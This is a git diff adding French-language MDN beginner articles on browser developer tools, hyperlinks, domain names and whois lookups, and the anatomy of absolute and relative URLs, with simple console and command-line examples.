{{Previous("Apprendre/Commencer_avec_le_web")}}
+ +
+

Tous les navigateurs modernes possèdent un ensemble d'outils destinés aux développeurs. Ces outils permettent de réaliser différentes actions : inspecter le code HTML, CSS ou JavaScript chargé à la volée dans la page, montrer les fichiers téléchargés et le temps de chargement, etc. Dans cet article, nous verrons comment utiliser les fonctionnalités basiques des outils de développements d'un navigateur (parfois appelés avec l'anglicisme « devtools »).

+
+ +
+

Note : Avant de poursuivre avec les exemples présentés ci-après, nous vous conseillons d'utiliser l'exemple construit dans la série d'articles Commencer avec le Web et d'ouvrir le site dans votre navigateur pour poursuivre avec les étapes suivantes.

+
+ +

Comment ouvrir les outils de développement d'un navigateur

+ +

Les devtools s'affichent généralement dans une sous-fenêtre du navigateur, de la façon suivante (cela peut varier légèrement) :

+ +

Affichage de la fenêtre principale avec les devtools ouverts

+ +

Comment faire pour que cette sous-fenêtre apparaisse ? Trois méthodes :

+ +
    +
  • Au clavier. Ctrl + Shift + I, sauf pour : + +
      +
    • Internet Explorer. F12
      • +
    • Mac OS X. ⌘ + ⌥ + I
      • +
    +
    • +
  • Via les menus. +
      +
    • Firefox. Menu ➤ Développement ➤ Outils de développement ou Outils ➤ Développement Web ➤ Outils de développement
      • +
    • Chrome. Affichage ➤ Développement ➤ Outils de développement
      • +
    • Safari. Développement ➤ Afficher l'inspecteur web. Si vous ne pouvez pas voir le menu Développement, aller sous Safari ➤ Préférences ➤ Avancé et vérifiez que l'option Afficher le menu de développement est bien coché. 
      • +
    • Opera. Développement ➤ Inspecteur web
      • +
    +
    • +
  • Via un menu contextuel. Cliquez-droit sur un élément de la page web (ou ctrl+clic sur Mac) et sélectionnez Examiner l'élément dans le menu qui apparait (Bonus : cette méthode ouvrira l'inspecteur et sélectionnera directement l'élément en question !).
    • +
+ +

Menu contextuel suite au clic-droit

+ +

L'inspecteur : explorateur du DOM et éditeur CSS

+ +

Lorsqu'ils s'ouvrent, les outils de développement s'affichent comme illustré dans la capture d'écran ci-après. Cet outil permet de voir le HTML présent sur la page au moment où celle-ci est affiché, de façon dynamique. Il permet aussi de voir quelles règles CSS sont appliquées pour chaque élément de la page. Grâce à cet outil, on peut modifier le HTML et le CSS de façon instantanée et voir les changements appliqués immédiatement à la page affichée dans le navigateur.

+ +

Affichage de la fenêtre principale avec les devtools ouverts

+ +

Si vous n'arrivez pas sur l'inspecteur :

+ +
    +
  • Cliquez ou appuyez l'onglet Inspecteur.
    • +
  • Sous Internet Explorer, cliquez ou appuyez sur Explorateur DOM, ou appuyez sur Ctrl + 1.
    • +
  • Sous Safari, les contrôles n'apparaissent pas clairement mais vous devriez voir le code HTML si vous n'avez rien sélectionné d'autre. Pour voir le code CSS, appuyez sur le bouton Style.
    • +
+ +

Manipuler l'inspecteur du DOM

+ +

Pour commencer, cliquez-droit sur un élément HTML dans l'inspecteur du DOM et regardez le menu contextuel qui s'affiche. Les options du menu qui apparaît peuvent varier d'un navigateur à un autre mais les options les plus importantes s'y trouvent toujours :

+ +

Menu contextuel ouvert suite à un clic-droit sur un élément HTML dans l'explorateur du DOM

+ +
    +
  • Supprimer le nœud (parfois Supprimer l'élément) : supprime l'élément sélectionné du document.
    • +
  • Modifier comme HTML (parfois Ajouter un attribut/Éditer le texte) : permet de changer le HTML et de voir le résultat obtenu à la volée (en live). Cette option est très utile pour déboguer ou tester.
    • +
  • :hover/:active/:focus : force l'état d'un élément à être actif afin de pouvoir voir ce que la mise en forme donne pour cet état.
    • +
  • Copier/Copier comme HTML : permet de copier l'élément HTML actuellement sélectionné.
    • +
  • Certains navigateurs disposent également d'options comme Copier le chemin CSS et/ou Copier le chemin XPath qui permettent de copier le sélecteur CSS ou l'expression XPath qui permettrait de sélectionner l'élément HTML en cours.
    • +
+ +

Essayez d'éditer le DOM de votre page. Double-cliquez sur un élément ou cliquez-droit puis choisissez « Modifier comme HTML » depuis le menu contextuel. Vous pouvez modifier tout ce que vous voulez mais vous ne pouvez pas sauvegarder vos modifications.

+ +

Manipuler l'éditeur CSS

+ +

Par défaut, l'éditeur CSS affiche les règles CSS qui s'appliquent à l'élément qui est sélectionné :

+ +

+ +

Ces fonctionnalités sont plutôt pratiques :

+ +
    +
  • Les règles qui s'appliquent à l'élément courant sont affichées en commençant avec les règles les plus spécifiques et en terminant avec les règles les moins spécifiques.
    • +
  • Il est possible de cocher les boîtes à côté de chaque déclaration pour voir l'effet qui serait obtenu si la déclaration était supprimée.
    • +
  • Vous pouvez cliquer sur la petite flèche à côté de chaque propriété en notation résumée pour voir les équivalents en notation détaillée.
    • +
  • Vous pouvez cliquer sur le nom d'une propriété ou d'une valeur pour éditer une valeur en live et immédiatement voir le changement.
    • +
  • À côté de chaque règle, si celle-ci est « dépliée », vous pouvez voir le nom du fichier et la ligne sur laquelle la règle est définie. En cliquant sur le lien, vous arriverez directement sur le fichier CSS que vous pourrez éditer et sauvegarder.
    • +
  • Vous pouvez également cliquer sur l'accolade fermant d'une règle donnée pour afficher une nouvelle zone de texte dans laquelle vous pourrez écrire une toute nouvelle déclaration.
    • +
+ +

Vous aurez remarqué plusieurs onglets en haut du panneau pour le CSS :

+ +
    +
  • Calculé : cet onglet affiche les styles calculés pour l'élément sélectionné (les valeurs finales, normalisées, appliquées par le navigateur).
    • +
  • Modèle de boîte : cet onglet représente visuellement le modèle de boîte pour l'élément sélectionner afin de visualiser rapidement le padding (rembourrage), la bordure et la marge appliquée à l'élément. Il permet aussi de voir la taille du contenu.
    • +
  • Polices : Dans Firefox, cet onglet affiche les polices appliquées à l'élément sélectionné.
    • +
+ +

En savoir plus

+ +

Pour en apprendre plus sur l'inspecteur présent dans les différents navigateurs, les ressources suivantes pourront vous être particulièrement utiles :

+ + + +

La console JavaScript

+ +

La console JavaScript est un outil formidable pour déboguer du code JavaScript qui ne fonctionne pas comme on le souhaite. Elle permet d'exécuter des lignes de JavaScript sur la page qui est actuellement chargée dans le navigateur et de rapporter les erreurs rencontrées lorsque le navigateur souhaite exécuter le code. Pour accéder à la console dans n'importe quel navigateur, il suffit de cliquer/appuyer sur l'onglet Console (sous Internet Explorer, appuyez sur Ctrl + 2.) Cela affichera une fenêtre qui ressemblera à :

+ +

Console JavaScript

+ +

Pour voir comment la console se comporte, essayez de saisir les fragments de code suivants dans la console (un par un), en appuyant sur Entrée après chaque :

+ +
    +
  1. + 
    alert('Coucou !');
    +
    2. +
  2. + 
    document.querySelector('html').style.backgroundColor = 'purple';
    +
    3. +
  3. + 
    var monImage = document.createElement('img');
+monImage.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg');
+document.querySelector('h1').appendChild(monImage);
    +
    4. +
+ +

Maintenant, essayez de saisir les fragments de code suivants, qui sont incorrects, pour voir ce qui se passe :

+ +
    +
  1. + 
    alert('coucou !);
    +
    2. +
  2. + 
    document.cheeseSelector('html').style.backgroundColor = 'purple';
    +
    3. +
  3. + 
    var monImage = document.createElement('img');
+maBanane.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg');
+document.querySelector('h1').appendChild(monImage);
    +
    4. +
+ +

Vous devriez voir différentes erreurs fournies par le navigateur. À première vue, ces erreurs semblent un peu étranges et complexes mais elles devraient être simples à résoudre !

+ +

En savoir plus

+ +

Pour en apprendre plus sur la console JavaScript présente dans les différents navigateurs, les ressources listées ici devraient vous être utiles :

+ + diff --git a/files/fr/learn/common_questions/what_are_hyperlinks/index.html b/files/fr/learn/common_questions/what_are_hyperlinks/index.html new file mode 100644 index 0000000000..35ac0d8bb4 --- /dev/null +++ b/files/fr/learn/common_questions/what_are_hyperlinks/index.html @@ -0,0 +1,96 @@ +--- +title: Le fonctionnement des liens sur le Web +slug: Apprendre/Le_fonctionnement_des_liens_sur_le_Web +tags: + - Beginner + - Infrastructure + - Navigation + - NeedsActiveLearning +translation_of: Learn/Common_questions/What_are_hyperlinks +--- +
+

Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importants pour la structure du Web.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez, au préalable, comprendre comment Internet fonctionne et distinguer une page web, un site web, un serveur web et un moteur de recherche.
Objectifs :Apprendre ce que sont les liens hypertexte et comprendre leur importance.
+ +

Les hyperliens (fréquemment appelés « liens ») sont un concept fondamental du Web. Pour mieux expliquer ce que sont les liens, il nous faut remonter aux fondations de l'architecture du Web, en 1989, lorsque Tim Berners-Lee présenta les trois piliers du Web (qu'il a inventé en grande partie) :

+ +
    +
  1. Les {{Glossary("URL")}} : un système d'adresses pour repérer les documents web
    2. +
  2. {{Glossary("HTTP")}} : un protocole de transport permettant de trouver les documents en fonction de leur URL
    3. +
  3. {{Glossary("HTML")}} : un format de document qui permet d'intégrer des hyperliens (hyperlink est le terme anglais)
    4. +
+ +

Comme on peut le voir avec ces trois piliers, tout ce qui tourne autour du Web consiste en des documents et à la façon d'y accéder. Le but originel du Web était de fournir un moyen simple et efficace pour lire et naviguer entre différents documents textuels. Depuis, le Web a évolué et permet désormais d'accéder à des images, des vidéos, des données binaires. Toutefois, ces améliorations n'ont pas bouleversé ces trois piliers qui restent toujours d'actualité.

+ +

Avant l'existence du Web, il était assez difficile d'accéder à des documents et de naviguer entre eux. Le fait que les URL soient lisibles et compréhensibles aida à simplifier cette navigation. Malgré tout, saisir une URL longue relève parfois du défi si on doit le faire à chaque fois qu'on souhaite accéder à un document. C'est là que les hyperliens interviennent et révolutionnent l'accès et la navigation. Les liens permettent de faire correspondre n'importe quelle chaîne de caractère avec une URL donnée : l'utilisateur n'a plus qu'à cliquer sur le texte qui contient le lien pour activer ce dernier et se rendre sur le document ciblé.

+ +

Par défaut, les liens apparaissent en bleu et en souligné. Cela permet de faire ressortir le lien du texte environnant. Pour activer le lien, il suffit de cliquer dessus ou de le toucher. Si vous utilisez un clavier, utilisez la touche tabulation jusqu'à ce que le lien soit sélectionné puis appuyez sur la touche Entrée.

+ +

Example of a basic display and effect of a link in a web page

+ +

Les liens sont la clef de voute du Web, ils ont pu le rendre utile et prospère. Dans la suite de cet article, nous discutons des différents types de lien et de leur importance en conception web.

+ +

Pédagogie active

+ +

Cette section a besoin d'être enrichie, n'hésitez pas à contribuer !

+ +

Aller plus loin

+ +

Comme nous l'avons déjà mentionné, un lien est une chaîne de texte liée à une URL et nous utilisons les liens pour passer d'un document à un autre. Cela dit, il existe quelques nuances qu'il faut préciser :

+ +

Les types de lien

+ +
+
Les liens internes
+
Les liens internes sont des liens qui dirigent vers des pages qui appartiennent à votre site web. Sans lien interne, il n'existerait pas de site web autre que les sites qui tiennent sur une page.
+
Les liens sortants
+
Il s'agit des liens de votre page web qui pointent vers la page d'un autre site web. Sans lien externe, il n'existerait pas de Web car le Web est un réseau de pages web. Les liens externes peuvent être utilisés pour fournir des informations sur des contenus que vous ne maintenez pas vous-même.
+
Les liens entrants
+
Il s'agit des liens d'une autre page web qui pointent vers une de vos pages web. C'est le symétrique du lien externe. On notera qu'il n'est pas nécessaire d'ajouter un lien externe à chaque fois qu'on a un lien entrant vers son propre site.
+
+ +

Lorsqu'on construit un site web, il est nécessaire de se concentrer sur les liens internes car ceux-ci rendent le site utilisable dans son ensemble. Il faudra trouver un équilibre entre trop de liens et pas assez. Nous en parlerons plus en détails mais, en règle générale, quand vous ajoutez une nouvelle page, assurez-vous qu'au moins une autre page pointe, via un lien, vers cette nouvelle page. En revanche, si votre site possède plus d'une dizaine de pages, il serait contre-productif que d'avoir des liens sur chaque page vers chaque page.

+ +

Au démarrage, il n'est pas nécessaire de se soucier des liens sortants et entrants. Toutefois, sachez qu'ils sont importants pour les moteurs de recherche afin que ceux-ci puissent trouver votre site web (voir ci-après pour plus d'informations).

+ +

Les ancres

+ +

La plupart des liens lient deux pages différentes. Les ancres permettent d'accéder à une autre section du même document. Lorsque vous suivez un lien qui pointe vers une ancre, votre navigateur se déplace sur une autre partie du document courant plutôt que d'en charger un nouveau. Les ancres seront créées et utilisées de la même façon que les liens.

+ +

Example of a basic display and effect of an anchor in a web page

+ +

Les liens et les moteurs de recherche

+ +

Les liens sont utiles pour vos visiteurs mais aussi pour les moteurs de recherche. En effet, à chaque fois qu'un robot d'un moteur de recherche parcoure la page, il indexe le site web en suivant les liens offerts dans la page. Les moteurs de recherche utiliseront ces liens pour découvrir les différentes pages d'un site web mais aussi pour déterminer quelle page serait la mieux adaptée en fonction de la requête reçu par le moteur de recherche.

+ +

Les liens ont donc une influence sur la façon dont les moteurs de recherche vont rediriger vers votre site. Il est plutôt difficile de mesurer l'activité des moteurs de recherche et les entreprises et/ou créateurs de sites préfèrent être classés dans les premières pages. Depuis les débuts des moteurs de recherches et quelques études, on sait que :

+ +
    +
  • Le texte visible d'un lien influence les sites qui seront trouvés pour une recherche donnée
    • +
  • Plus la page possède de liens entrants, plus son rang dans le classement sera élevé (et plus elle apparaîtra en haut des résultats).
    • +
  • Les liens externes influencent également le classement du site source et du site lié.
    • +
+ +

Le SEO (pour Search Engine Optimization ou optimisation pour les moteurs de recherches) ou encore l'optimisation du référencement est l'étude des facteurs de classement d'un site dans les résultats d'un moteur de recherche. Améliorer les liens d'un site est l'une des technique de SEO.

+ +

Prochaines étapes

+ +

Bien entendu, après avoir lu cet article, vous voudrez ajouter des liens à votre page web !

+ + diff --git a/files/fr/learn/common_questions/what_is_a_domain_name/index.html b/files/fr/learn/common_questions/what_is_a_domain_name/index.html new file mode 100644 index 0000000000..bc8bc301ef --- /dev/null +++ b/files/fr/learn/common_questions/what_is_a_domain_name/index.html @@ -0,0 +1,162 @@ +--- +title: Comprendre les noms de domaine +slug: Apprendre/Comprendre_noms_de_domaine +tags: + - Beginner + - Domain names + - Infrastructure + - Learn + - Web +translation_of: Learn/Common_questions/What_is_a_domain_name +--- +
+

Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment ils sont organisés et comment en avoir un.

+
+ + + + + + + + + + + + +
Prérequis :Pour commencer, vous devez comprendre comment Internet fonctionne et ce que sont les URL.
Objectif :Apprendre ce qu'est un nom de domaine, son fonctionnement et son importance.
+ +

Les noms de domaine jouent un rôle clé dans l'infrastructure d'Internet. Ils fournissent des adresses, humainement compréhensibles pour retrouver des serveurs web connectés sur Internet.

+ +

Tout ordinateur relié à Internet peut être contacté via une adresse {{Glossary("IP")}} publique. En IPv4, cette adresse est constituée de 32 bits, souvent exprimés avec quatre groupes de chiffes, compris entre 0 et 225, séparés par des points (par exemple 173.194.121.32). Avec IPv6, on a 128 bits, soit huit groupes de quatre chiffres hexadécimaux séparés par deux points (par exemple 2001:0db8:85a3:0042:1000:8a2e:0370:7334). Les ordinateurs n'ont aucun problème pour mémoriser ces adresses mais ça peut être difficile pour quelqu'un de faire le rapprochement entre un site web/service et cette adresse. De plus, le site peut « déménager » sur un autre ordinateur, l'ordinateur peut changer d'adresse... Dans ces cas, l'adresse correspondante à un site sera modifiée au cours du temps : il faudra alors utiliser la nouvelle adresse pour l'atteindre. Afin de résoudre ces problèmes (mémorisation et stabilité), on utilise des adresses compréhensibles appelée noms de domaine.

+ +

Pédagogie active

+ +

Ce contenu a besoin d'être enrichi, n'hésitez pas à contribuer !

+ + + +

Allons plus loin

+ +

La structure d'un nom de domaine

+ +

Un nom de domaine est composé de plusieurs parties, séparées par des points. Ces différents composants sont lus de droite à gauche :

+ +

Anatomy of the MDN domain name

+ +

Chacune de ces parties fournit des informations sur le nom de domaine dans son ensemble.

+ +
+
{{Glossary("TLD")}} (Top-Level Domain en anglais qui signifie domaine de premier niveau)
+
Le TLD fournit une information générique purement indicative sur le service associé au nom de domaine. Certains TLD peuvent indiquer que le site ou service provient d'un pays donné (par exemple : .us, .fr ou .sh qui correspondent aux États-Unis, à la France et à Sainte-Hélène), d'autres TLD sont génériques (par exemple : .com, .org, .net).
+
Composant
+
Les composants sont les différents fragments d'un nom de domaine (le TLD est le premier composant). Un composant peut être une lettre ou une phrase entière (sans espace). Ce composant situé juste après le TLD est parfois appelé « domaine de deuxième niveau » (ou Secondary Level Domain (SLD) en anglais). Un nom de domaine peut avoir plusieurs composants. Il n'est pas nécessaire ni obligatoire qu'il ait trois composants. Par exemple, www.inf.ed.ac.uk est un nom de domaine tout à fait correct (il a 5 composants dont le TLD). Lorsqu'on possède la partie « supérieure » d'un nom de domaine (par exemple : mozilla.org), on peut créer d'autres noms de domaines sous celui-ci (par exemple : developer.mozilla.org), ceux-ci sont parfois appelés « sous-domaines ».
+
+ +

Acheter un nom de domaine

+ +

Qui possède un nom de domaine ?

+ +

Il est impossible d' « acheter » un nom de domaine. Vous payez pour le droit d'utiliser un nom de domaine pendant une période donnée (généralement un an ou plus). Il est possible de renouveller ce droit et ce renouvellement a la priorité sur les demandes d'autres personnes qui souhaiteraient bénéficier de ce nom de domaine.

+ +

Très souvent, ce sont des entreprises appelées bureaux d'enregistrement qui maintiennent les registres contenant les informations techniques et administratives qui vous lient à votre nom de domaine.

+ +
+

Note : Pour certains noms de domaines, ce n'est pas un bureau d'enregistrement qui gèrera les registres. Par exemple les noms de domaines sous .fire sont gérés par Amazon.

+
+ +

Trouver un nom de domaine disponible

+ +

Pour déterminer si un nom de domaine est disponible :

+ +
    +
  • vous pouvez vous rendre sur le site d'un bureau d'enregistrement. La plupart fournissent un service « whois » (littéralement « qui est-ce ? » en anglais) qui indique si un nom de domaine est disponible.
    • +
  • si vous utilisez un système qui possède un outil en ligne de commande, vous pouvez y saisir la commande whois. Voici un exemple avec mozilla.org:
    • +
+ +
$ whois mozilla.org
+Domain Name:MOZILLA.ORG
+Domain ID: D1409563-LROR
+Creation Date: 1998-01-24T05:00:00Z
+Updated Date: 2013-12-08T01:16:57Z
+Registry Expiry Date: 2015-01-23T05:00:00Z
+Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
+Sponsoring Registrar IANA ID: 292
+WHOIS Server:
+Referral URL:
+Domain Status: clientDeleteProhibited
+Domain Status: clientTransferProhibited
+Domain Status: clientUpdateProhibited
+Registrant ID:mmr-33684
+Registrant Name:DNS Admin
+Registrant Organization:Mozilla Foundation
+Registrant Street: 650 Castro St Ste 300
+Registrant City:Mountain View
+Registrant State/Province:CA
+Registrant Postal Code:94041
+Registrant Country:US
+Registrant Phone:+1.6509030800
+
+ +

Comme on peut le voir ici, on ne peut pas réserver mozilla.org car ce nom de domaine est déjà réservé par la Fondation Mozilla.

+ +

Essayons avec un autre, par exemple unnométrange.fr :

+ +
> whois unnométrange.fr
+...
+%% No entries found in the AFNIC Database.
+ +

On voit ici que ce nom de domaine n'existe pas dans les bases de données de serveurs whois (au moment où nous écrivons cet article). Si vous le souhaitiez, vous pourriez réserver ce nom !

+ +

Obtenir un nom de domaine

+ +

Le processus est assez simple :

+ +
    +
  1. Aller sur le site web d'un bureau d'enregistrement
    2. +
  2. Généralement, celui-ci possède une zone mise en avant pour rechercher la disponibilité d'un nom de domaine et le réserver le cas échéant. Saisissez le nom qui vous intéresse
    3. +
  3. Il est ensuite nécessaire de remplir un formulaire avec différentes informations et détails. Assurez-vous de leur exactitude et surtout faites attention à l'orthographe choisie pour votre nom de domaine ! Une fois que vous aurez payé, il sera trop tard !
    4. +
  4. Le bureau d'enregistrement vous informera dès que le nom de domaine sera enregistré et vous pourrez alors l'utiliser. Il faut parfois quelques heures pour qu'un nouveau nom de domaine soit enregistré.
    5. +
+ +
+

Note : Lors de ces étapes, le bureau d'enregistrement peut vous demander votre adresse postale. Assurez-vous que la valeur saisie est valide car les bureaux d'enregistrement de certains pays peuvent fermer un domaine si l'adresse fournie est invalide.

+
+ +

Rafraîchissement du DNS

+ +

Des bases de données DNS sont stockées sur chaque serveur DNS, partout dans le monde. Ces serveurs font tous référence à un serveur racine et à quelques uns appelés « serveurs faisant autorité ». Dès lors qu'un bureau d'enregistrement crée ou met à jour une information pour un domaine donné, il faut que cette information soit mise à jour pour chaque base de données DNS. Or, pour faciliter certaines tâches, chaque serveur DNS stocke les informations pour une période donnée avant que celles-ci soient considérées invalides (le serveur DNS demandera alors les informations à jour au serveur faisant autorité). Pour cette raison, la mise à jour peut prendre un certain temps pendant lequel tous les serveurs DNS concernés récupèrent des informations « rafraîchies ».

+ +
+

Note : Ce temps est parfois appelé temps de propagation. Cependant ce terme n'est pas précis ni correct car la mise à jour ne se « propage » pas des serveurs faisant autorité vers les différents serveurs DNS. Ce sont les serveurs DNS, interrogés par votre ordinateur, qui demandent l'information aux serveurs faisant autorité dès qu'ils ont besoin des informations pour un nom de domaine ou que celles-ci sont arrivées à expiration.

+
+ +

Comment fonctionne une requête DNS ?

+ +

Comme nous l'avons mentionné au début, quand on souhaite se rendre sur un site web via un navigateur, il est plus facile que de saisir une URL avec un nom de domaine que de saisir l'adresse IP du serveur correspondant. Voyons ce qui se passe quand on saisit une adresse :

+ +
    +
  1. Vous saisissez mozilla.org dans la barre d'adresse du navigateur.
    2. +
  2. Le navigateur analyse l'URL (l'adresse) et identifie le nom de domaine. Il demande alors à votre ordinateur si celui-ci connaît l'adresse IP associée à ce nom de domaine (grâce à un cache DNS local). Si l'ordinateur connaît le nom de domaine, il la convertit en une adresse et la transmet au navigateur web qui échange alors avec le serveur qui a cette adresse. C'est tout.
    3. +
  3. Si votre ordinateur ne connait pas l'adresse IP associée au nom mozilla.org, il continue et demande à un serveur DNS, celui-ci renverra alors l'adresse IP correspondante au nom de domaine demandé.
    4. +
  4. Une fois que l'ordinateur connaît l'adresse IP demandée, le navigateur peut commencer à échanger du contenu avec le serveur web.
    5. +
+ +

Explanation of the steps needed to obtain the result to a DNS request

+ +
+

Note : Si c'est la première fois que quelqu'un demande l'adresse IP pour mozilla.org au serveur DNS, celui-ci ne la connaîtra pas. Il demandera alors au serveur faisant autorité qui possède l'information. Une fois l'adresse connue, il la transmettra à l'ordinateur.

+
+ +

Étapes suivantes

+ +

Dans ces articles, nous avons beaucoup discuté des processus et de l'infrastructure. Nous allons maintenant passer à la suite :

+ + diff --git a/files/fr/learn/common_questions/what_is_a_url/index.html b/files/fr/learn/common_questions/what_is_a_url/index.html new file mode 100644 index 0000000000..85448c44bb --- /dev/null +++ b/files/fr/learn/common_questions/what_is_a_url/index.html @@ -0,0 +1,158 @@ +--- +title: Comprendre les URL et leur structure +slug: Apprendre/Comprendre_les_URL +tags: + - Beginner + - Infrastructure + - Learn + - NeedsActiveLearning + - URL +translation_of: Learn/Common_questions/What_is_a_URL +--- +
+

Cet article aborde les Uniform Resource Locators (URL) en expliquant leur rôle et leur structure.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir comment fonctionne Internet, ce qu'est une serveur web et les concepts sous-jacents aux liens sur le Web.
Objectifs :Savoir ce qu'est une URL et comprendre son rôle sur le Web.
+ +

Avec les concepts d'{{Glossary("hypertexte")}} et de {{Glossary("HTTP")}}, les URL sont une autre pierre angulaire du Web.  Celles-ci sont utilisées par les navigateurs pour accéder aux différentes ressources publiées sur le Web.

+ +

URL signifie Uniform Resource Locator (ou, en français, « localisateur uniforme de ressource »). Une URL est simplement l'adresse d'une ressource donnée, unique sur le Web. En théorie, chaque URL valide pointe vers une ressource unique. Ces ressources peuvent être des pages HTML, des documents CSS, des images, etc. En pratique, il y a quelques exceptions : les URL peuvent pointer vers une ressource qui n'existe plus ou qui a été déplacée. La ressource représentée par l'URL et l'URL elle-même sont gérées par le serveur web. C'est donc au gestionnaire de ce serveur que de gérer soigneusement la ressource et l'URL associée.

+ +

Pédagogie active

+ +

Il n'y a pour le moment pas d'élément de pédagogie active. N'hésitez pas à contribuer.

+ +

Aller plus loin

+ +

Les bases : l'anatomie d'une URL

+ +

Voici quelques exemples d'URL :

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/fr/docs/Apprendre/
+https://developer.mozilla.org/fr/search?q=URL
+ +

Vous pouvez saisir chacune de ces URL dans la barre d'adresse de votre navigateur afin que celui chaque la ressource associée (ici des pages HTML).

+ +

Une URL se compose de différents fragments dont certains sont obligatoires et d'autres optionnels. Pour commencer, voyons les parties les plus importantes d'une URL :

+ +
http://www.exemple.com:80/chemin/vers/monfichier.html?clé1=valeur1&clé2=valeur2#QuelquePartDansLeDocument
+ +
+
Protocol
+
http:// correspond au protocole. Ce fragment indique au navigateur le protocole qui doit être utilisé pour récupérer le contenu. Généralement, ce protocole sera HTTP ou sa version sécurisée : HTTPS. Le « Web » fonctionne autour de ces deux protocoles mais le navigateur peut parfois gérer d'autres protocoles comme mailto: (qui permet d'ouvrir un client de messagerie électronique) ou ftp: qui permet de transférer des fichiers. Ne soyez pas surpris donc si vous rencontrez ces autres protocoles.
+
Domaine Name
+
www.exemple.com correspond au nom de domaine. Il indique le serveur web auquel le navigateur s'adresse pour échanger le contenu. À la place du nom de domaine, on peut utiliser une {{Glossary("adresse IP")}}, ce qui sera moins pratique (et qui est donc moins utilisé sur le Web).
+
Port
+
:80 correspond au port utilisé sur le serveur web. Il indique la « porte » technique à utiliser pour accéder aux ressources du serveur. Généralement, ce fragment est absent car le navigateur utilise les ports standards associés aux protocoles (80 pour HTTP, 443 pour HTTPS). Si le port utilisé par le serveur n'est pas celui par défaut, il faudra l'indiquer.
+
Path to the file
+
/chemin/vers/monfichier.html est le chemin, sur le serveur web, vers la ressource. Aux débuts du Web, ce chemin correspondait souvent à un chemin « physique » existant sur le serveur. De nos jours, ce chemin n'est qu'une abstraction qui est gérée par le serveur web, il ne correspond plus à une réalité « physique ».
+
Parameters
+
?clé1=valeur1&clé2=valeur2 sont des paramètres supplémentaires fournis au serveur web. Ces paramètres sont construits sous la forme d'une liste de paires de clé/valeur dont chaque élément est séparé par une esperluette (&). Le serveur web pourra utiliser ces paramètres pour effectuer des actions supplémentaires avant d'envoyer la ressource. Chaque serveur web possède ses propres règles quant aux paramètres. Afin de les connaître, le mieux est de demander au propriétaire du serveur.
+
Anchor
+
#QuelquePartDansLeDocument correspond à une ancre, celle-ci désigne un endroit donné de la ressource. Une ancre représente, en quelque sorte, un marque-page à l'intérieur de la ressource. Ajouter une ancre à une URL permet au navigateur d'afficher la ressource à l'endroit de ce marque page. Pour un document HTML, par exemple, le navigateur défilera la page jusqu'au niveau de l'ancre. Pour un document audio ou vidéo, le navigateur ira se placer à l'instant représenté par l'ancre. On notera également que la partie de l'URL située après le # n'est jamais envoyée au serveur avec la requête.
+
+ +
+

Note : Il existe d'autres fragments et d'autres règles pour les URL mais ceux-ci ne sont pas pertinent pour le développement web et ne sont pas nécessaires pour pouvoir construire des URL tout à fait fonctionnelles.

+
+ +

On peut comparer les URL avec les adresses postales : le protocole représente le service postal qu'on souhaite utiliser, le nom de domaine correspond à la ville et le port au code postal, le chemin indique le bâtiment où la lettre doit être acheminée et les paramètres pourraient indique le numéro de l'appartement, enfin l'ancre désigne la personne à laquelle la lettre est adressée.

+ +

Comment utiliser les URL

+ +

N'importe quelle URL peut être saisie dans la barre d'adresse du navigateur afin d'accéder à la ressource correspondante mais ce n'est pas tout !

+ +

Le langage {{Glossary("HTML")}} — que nous verrons par la suite — permet de tirer parti des URL :

+ +
    +
  • en créant des liens vers d'autres documents grâce à l'élément {{HTMLElement("a")}} ;
    • +
  • en lient des document avec les ressources associées grâce aux éléments {{HTMLElement("link")}} et {{HTMLElement("script")}} ;
    • +
  • en affichant des médias comme des images (avec l'élément {{HTMLElement("img")}}), des vidéos (avec l'élément {{HTMLElement("video")}}), des sons ou de la musique (avec l'élément {{HTMLElement("audio")}}), etc. ;
    • +
  • en affichant d'autres documents HTML grâce à l'élément {{HTMLElement("iframe")}}.
    • +
+ +

D'autres technologies web comme {{Glossary("CSS")}} ou {{Glossary("JavaScript")}}, utilisent les URL de façon intensive.

+ +

Les URL absolues et les URL relatives

+ +

L'URL que nous avons disséquée avant est une URL absolue et il existe également des URL relatives. Expliquons ici cette différence.

+ +

Les fragments nécessaires pour construire une URL fonctionnelle dépendent du contexte dans lequel l'URL est utilisée. Dans la barre d'adresse du navigateur, il n'y a aucun contexte et il faut donc fournir une URL complète (ou absolue) comme celles que nous avons vus avant. Il n'est pas nécessaire d'inclure le protocole (le navigateur utilisera HTTP par défaut) ou le port (qui est nécessaire uniquement si le serveur web utilise des ports non conventionnels), en revanche, les autres fragments seront nécessaires.

+ +

Lorsqu'une URL est utilisée dans un document (par exemple dans une page HTML), les choses sont différentes car le navigateur connaît déjà l'URL du document courant et pourra l'utiliser pour en déduire certaines informations afin de compléter les URL contenues dans le document. Une URL absolue se distingue d'une URL relative au niveau du chemin. Si le chemin de l'URL commence par le symbole "/", le navigateur ira cherche la ressource à la racine du serveur sans utiliser le contexte du document courant.

+ +

Prenons quelques exemples concrets pour illustrer le concept.

+ +

Exemples d'URL absolues

+ +
+
URL complète
+
+ 
https://developer.mozilla.org/fr/docs/Apprendre
+
+
Protocole implicite
+
+ 
//developer.mozilla.org/fr/docs/Apprendre
+ +

Dans ce cas, le navigateur saura que l'URL utilise le même protocole que celui utilisé pour charger le document qui contient cette URL.

+
+
Nom de domaine implicite
+
+ 
/fr/docs/Apprendre
+ +

Voici le cas le plus fréquent d'une URL absolue dans un document HTML. Le navigateur utilisera alors le même protocole et le même nom de domaine que ceux utilisés pour charger le document qui contient l'URL.

+ +
+

Note : Il n'est pas possible d'omettre le nom de domaine sans omettre le protocole.

+
+
+
+ +

Exemples d'URL relatives

+ +

Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le contexte où les URL suivantes sont appelées depuis un document situé à l'URL suivante  https://developer.mozilla.org/fr/docs/Apprendre

+ +
+
Sous-ressources
+
+ 
Compétences/Infrastructure/Comprendre_les_URL
+
+ L'URL ne commence pas pas /, le navigateur essaiera de trouver le document visé dans un sous-répertoire de la ressource actuelle. Dans cet exemple, l'URL absolue correspondante du document auquel on souhaite accéder est : https://developer.mozilla.org/fr/docs/Apprendre/Compétences/Infrastructure/Comprendre_les_URL
+
